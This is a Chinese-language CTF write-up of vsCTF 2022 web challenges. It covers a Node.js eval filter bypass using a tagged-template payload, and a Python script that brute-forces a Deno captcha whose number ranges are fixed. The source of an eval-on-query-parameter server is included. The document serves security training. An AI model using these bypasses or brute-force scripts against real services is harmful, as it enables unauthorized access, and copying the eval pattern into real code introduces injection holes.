[vsCTF2022]web题目复现

Baby Eval

const express = require('express');
const app = express();

function escape(s) {
    return `${s}`.replace(/./g,c => "&#" + c.charCodeAt(0) + ";");
}

function directory(keys) {
    const values = {
        "title": "View Source CTF",
        "description": "Powered by Node.js and Express.js",
        "flag": process.env.FLAG,
        "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.",
        "createdAt": "1970-01-01T00:00:00.000Z",
        "lastUpdate": "2022-02-22T22:22:22.222Z",
        "source": require('fs').readFileSync(__filename),
    };

    return "" + keys.map(key => `${key}
${escape(values[key])}
`).join("") + "";
}

app.get('/', (req, res) => {
    const payload = req.query.payload;

    if (payload && typeof payload === "string") {
        const matches = /([\.\(\)'"\[\]\{\}_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload);
        if (matches) {
            res.status(400).send(matches.map(i => `${i}`).join(""));
        } else {
            res.send(`${eval(payload)}`);
        }
    } else {
        res.send(directory(["title", "description", "lastUpdate", "source"]));
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Server started on http://127.0.0.1:${process.env.PORT}`);
});

nodejs的eval命令执行，过滤了很多，利用

?payload=directory`flag`

vsCAPTCHA

进入页面需要我们输入验证码

根据图示：我们需要在每一轮也就是10s内正确输入验证码，总共输入正确1000次，验证码结果为两数相加

抓包发现x-captcha-state字段，是一段jwt，解码看一下

猜测字段含义：

• exp：表示令牌不再有效的时间戳
• jti : 唯一标识符，用于区分我们的token和其他token
• failed：指示一步是否验证失败
• numCaptchasSolved : 验证的步骤数

第一种思路是将令牌中numCaptchasSolved的值更改为 1000，然后发送它来欺骗服务器，使其认为已经验证了1000次。但是，JWT 是经过签名的，尝试之后发现现有方法都不行，因此必须找到另一种方法。

另一种思路是使用 OCR 来检索验证码的内容，但在如此有限的时间内，显得很繁琐且不一定成功。

我们需要另辟蹊径，仔细观察每次的验证码，似乎生成的数都是相近的，我们不妨查看一下它的生成逻辑。

代码结构：

├── __MACOSX
│   └── vsCAPTCHA
│       └── static
├── vsCAPTCHA
│   ├── Dockerfile
│   ├── generate.sh
│   ├── src
│   │   └── main.ts
│   └── static
│       └── index.html
└── vsCAPTCHA.rar

看到main.ts

import { createCaptcha } from "https://deno.land/x/captcha@v1.0.1/mods.ts";
import * as jose from "https://deno.land/x/jose@v4.8.3/index.ts";
import { Application, Router } from "https://deno.land/x/oak@v10.6.0/mod.ts";

const FLAG = Deno.env.get("FLAG") ?? "vsctf{REDACTED}";
const captchaSolutions = new Map();

interface CaptchaJWT {
  exp: number;
  jti: string;
  flag?: string;
  failed: boolean;
  numCaptchasSolved: number;
}

const jwtKey = await jose.importPKCS8(
  new TextDecoder().decode(await Deno.readFile("./jwtRS256.key")),
  "RS256"
);
const jwtPubKey = await jose.importSPKI(
  new TextDecoder().decode(await Deno.readFile("./jwtRS256.key.pub")),
  "RS256"
);

const app = new Application();
const router = new Router();

const b1 = Math.floor(Math.random() * 500);
const b2 = Math.floor(Math.random() * 500);

router.get("/", (ctx) => {
  return ctx.send({
    path: "index.html",
    root: "./static",
  });
});

router.post("/captcha", async (ctx) => {
  const stateJWT = ctx.request.headers.get("x-captcha-state");
  const body = await ctx.request.body({
    type: "json",
  }).value;
  const solution = body.solution;

  let jwtPayload: CaptchaJWT = {
    // 10 seconds to solve
    exp: Math.round(Date.now() / 1000) + 10,
    jti: crypto.randomUUID(),
    failed: false,
    numCaptchasSolved: 0,
  };

  if (stateJWT) {
    try {
      const { payload } = await jose.jwtVerify(stateJWT, jwtPubKey);
      jwtPayload.numCaptchasSolved = payload.numCaptchasSolved;

      if (
        !captchaSolutions.get(payload.jti) ||
        captchaSolutions.get(payload.jti) !== solution
      ) {
        const jwt = await new jose.SignJWT({
          failed: true,
          numCaptchasSolved: payload.numCaptchasSolved,
          exp: payload.exp,
        })
          .setProtectedHeader({ alg: "RS256" })
          .sign(jwtKey);

        ctx.response.headers.set("x-captcha-state", jwt);
        ctx.response.status = 401;
        return;
      }
    } catch {
      ctx.response.status = 400;
      return;
    }

    jwtPayload.numCaptchasSolved += 1;
  }

  const num1 = Math.floor(Math.random() * 7) + b1;
  const num2 = Math.floor(Math.random() * 3) + b2;

  const captcha = createCaptcha({
    width: 250,
    height: 150,
    // @ts-ignore provided options are merged with default options
    captcha: {
      text: `${num1} + ${num2}`,
    },
  });

  ctx.response.headers.set("content-type", "image/png");
  if (jwtPayload.numCaptchasSolved >= 1000) {
    jwtPayload.flag = FLAG;
  }
  ctx.response.headers.set(
    "x-captcha-state",
    await new jose.SignJWT(jwtPayload as unknown as jose.JWTPayload)
      .setProtectedHeader({ alg: "RS256" })
      .sign(jwtKey)
  );
  captchaSolutions.set(jwtPayload.jti, num1 + num2);
  ctx.response.status = 200;

  ctx.response.body = captcha.image;
});

app.use(router.routes());

await app.listen({ port: 8080 });

服务器初始化的时候会同时初始两个全局变量直到服务器关闭

const b1 = Math.floor(Math.random() * 500);
const b2 = Math.floor(Math.random() * 500);

Math.random() 生成一个介于 0 （包含）和 1 （不包括）之间的伪随机数

• b1 的值介于 0 *（包括）*和 500 *（不包括）*之间
• b2 的值介于 0 *（包括）*和 500 *（不包括）*之间

而生成验证码的逻辑

const num1 = Math.floor(Math.random() * 7) + b1;
const num2 = Math.floor(Math.random() * 3) + b2;

  const captcha = createCaptcha({
    width: 250,
    height: 150,
    // @ts-ignore provided options are merged with default options
    captcha: {
      text: `${num1} + ${num2}`,
    },
  });

这下很好理解了，验证码的范围：

• num1=[b1,b1+1,b1+2,b1+3,b1+4,b1+5,b1+6,b1+7[
• num2=[b2,b2+1,b2+2,b2+3[

那么多观察几次就会发现b1 = 154和b2 = 425，并且这两个数字不会更改是全局变量

因此

num1的值将在以下范围内：[154,155,156,157,158,159,160]

num2的值将在以下范围内：[425,426,427]

验证码的范围：[579, 580, 581, 582, 583, 584, 585, 586, 587]

最终写一个脚本：

import sys
import json
import base64
import requests

url = "https://vscaptcha-twekqonvua-uc.a.run.app"

res = requests.post(f"{url}/captcha", data="{}")
x_captcha_state = res.headers["x-captcha-state"]
print(base64.b64decode(x_captcha_state.split(".")[1] + "==").decode())

while True:
    for ans in [579, 580, 581, 582, 583, 584, 585, 586, 587]: # [154, 155, 156, 157, 158, 159, 160] + [425, 426, 427]
        res = requests.post(f"{url}/captcha", data=f"{{\"solution\": {ans}}}", headers={"x-captcha-state": x_captcha_state})
        if len(res.content) == 0: # Speed up!!
            continue
        try:
            state = base64.b64decode(res.headers["x-captcha-state"].split(".")[1] + "==").decode()
        except:
            print(res.headers["x-captcha-state"]) # Padding error?
        json_state = json.loads(state)
        print(state)
        if json_state["failed"] == False:
            if json_state["numCaptchasSolved"] >= 1000:
                print(f"Flag: {json_state['flag']}")
                sys.exit()
            x_captcha_state = res.headers["x-captcha-state"]
            break

这里远程环境有问题，我本地起了一个来跑

Baby Wasm

web汇编，以后补上